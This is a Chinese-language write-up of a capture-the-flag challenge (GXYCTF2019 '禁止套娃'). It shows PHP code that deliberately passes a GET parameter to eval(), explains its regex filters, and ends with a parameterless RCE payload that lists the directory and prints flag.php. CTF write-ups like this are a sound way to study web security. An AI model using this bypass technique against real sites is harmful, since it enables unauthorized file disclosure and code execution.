1. 程式人生 > 實用技巧 >[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃

拿到這道題,抓包看了看,啥也沒有,考慮用dirsearch爆破目錄,未果,忍不住看了下大佬的wp,原來是./git原始碼洩露,當然這並沒有完,精彩的還在後面呢,我們來看一下這道題

題目

開啟題目就是個這

用dirsearch爆破目錄未果,用githack探測發現有index.php這個檔案

分析

 1 <?php
 2 include "flag.php";
 3 echo "flag在哪裡呢?<br>";
 4 if(isset($_GET['exp'])){
 5     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET
['exp'])) { 6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { 7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { 8 // echo $_GET['exp']; 9 @eval($_GET['exp']); 10 } 11 else{ 12 die
("還差一點哦!"); 13 } 14 } 15 else{ 16 die("再好好想想!"); 17 } 18 } 19 else{ 20 die("還想讀flag,臭弟弟!"); 21 } 22 } 23 // highlight_file(__FILE__); 24 ?>

分析原始碼

1.需要以GET形式傳入一個名為exp的引數。如果滿足條件會執行這個exp引數的內容。
2.過濾了常用的幾個偽協議,不能以偽協議讀取檔案。
3.(?R)引用當前表示式,後面加了?遞迴呼叫。只能匹配通過無引數的函式。
4.正則匹配掉了et/na/info等關鍵字,很多函式都用不了。 5:eval($_GET['exp']); 典型的無引數RCE

關鍵點還是在這句程式碼中

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

我們先來分析一下正則

它其實大體上就匹配的是一個函式,就例如a();

注意正則裡有一個?R,這玩意兒是引用當前表示式,後面再加?是遞迴呼叫

最後替換後就是個;

所以exp必須要是a(b());這種型別的才可

既然getshell基本不可能,那麼考慮讀原始碼
看原始碼,flag應該就在flag.php
我們想辦法讀取

首先需要得到當前目錄下的檔案
scandir()函式可以掃描當前目錄下的檔案,例如:

<?php
print_r(scandir('.'));
?>

那麼問題就是如何構造
scandir('.')
這裡再看函式:

localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。而陣列第一項就是.
current() 返回陣列中的當前單元, 預設取第一個值。
pos() current() 的別名。
這裡還有一個知識點:

current(localeconv())永遠都是個點

那麼我們第一步就解決了:

print_r(scandir(current(localeconv())));

現在的問題就是怎麼讀取倒數第二個陣列呢?

這裡主要用到兩個函式next()和array_reverse()

next()

arrar_reverse()

scandir函式的返回值是一個數組,如果把陣列逆序排列,再用一個next不就可以了嗎,highlight_file輸出,payload:

最後的payload

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));